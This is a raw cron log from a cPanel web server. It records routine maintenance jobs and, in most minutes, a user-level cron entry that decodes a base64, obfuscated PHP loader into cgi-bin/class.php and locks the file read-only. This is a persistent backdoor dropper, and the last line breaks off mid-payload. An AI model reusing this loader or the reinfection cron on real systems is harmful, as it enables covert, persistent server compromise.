Sep  3 00:19:01 server CROND[28164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:19:01 server CROND[28165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:19:01 server CROND[28166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:20:01 server CROND[28625]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 00:20:01 server CROND[28626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:20:01 server CROND[28630]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 00:20:01 server CROND[28631]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:20:01 server CROND[28635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:20:01 server CROND[28637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:20:01 server CROND[28638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:20:01 server CROND[28633]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 00:20:01 server CROND[28636]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 00:21:01 server CROND[29501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:21:01 server CROND[29502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:21:01 server CROND[29503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:22:01 server CROND[29857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:22:01 server CROND[29858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:22:01 server CROND[29859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:23:01 server CROND[30234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:23:01 server CROND[30235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:23:01 server CROND[30236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:24:01 server CROND[30619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:24:01 server CROND[30620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:24:01 server CROND[30621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:25:01 server CROND[31090]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 00:25:01 server CROND[31099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:25:01 server CROND[31101]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 00:25:01 server CROND[31105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:25:01 server CROND[31104]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:25:01 server CROND[31098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:25:01 server CROND[31103]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 00:25:01 server CROND[31102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:26:01 server CROND[31916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:26:01 server CROND[31917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:26:01 server CROND[31918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:27:01 server CROND[32303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:27:01 server CROND[32304]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 00:27:01 server CROND[32305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:27:01 server CROND[32306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:28:01 server CROND[32686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:28:01 server CROND[32687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:28:01 server CROND[32689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:29:01 server CROND[616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:29:01 server CROND[617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:29:01 server CROND[618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:30:01 server CROND[1182]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 00:30:01 server CROND[1184]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:30:01 server CROND[1190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:30:01 server CROND[1191]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 00:30:01 server CROND[1192]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 00:30:01 server CROND[1189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:30:01 server CROND[1194]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  3 00:30:01 server CROND[1196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7B